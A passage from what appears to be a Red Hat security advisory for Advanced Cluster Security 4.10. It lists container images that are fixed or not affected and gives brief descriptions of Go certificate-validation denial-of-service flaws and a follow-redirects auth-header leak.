| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le | — |
Workaround
|
Threats
Impact
Important
A flaw was found in the Go standard library packages `crypto/x509` and `crypto/tls`. During the process of building a certificate chain, an attacker can provide a large number of intermediate certificates. This excessive input is not properly limited, leading to an uncontrolled amount of work being performed. This can result in a denial of service (DoS) condition, making the affected system or application unavailable to legitimate users.
7.5 (High)
Affected products
Fixed
8 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x | — |
Vendor Fix
fix
|
Known not affected
39 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le | — |
Threats
Impact
Important
A flaw was found in Go's `crypto/x509` package. A remote attacker could exploit this by presenting a specially crafted certificate chain containing a large number of policy mappings. This inefficient validation process consumes excessive resources, which can lead to a denial of service (DoS) for applications or systems performing certificate validation.
5.9 (Medium)
Affected products
Fixed
8 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
39 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le | — |
Workaround
|
Threats
Impact
Moderate
A flaw was found in follow-redirects. When an HTTP request follows a cross-domain redirect (a redirection to a different domain), custom authentication headers, such as X-API-Key or X-Auth-Token, are not properly stripped. This allows these sensitive headers to be forwarded verbatim to the redirect target, potentially leading to the unintended disclosure of authentication information to an untrusted third party.
7.5 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64 | — |
Vendor Fix
fix
|
Known not affected
43 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64 | — | ||
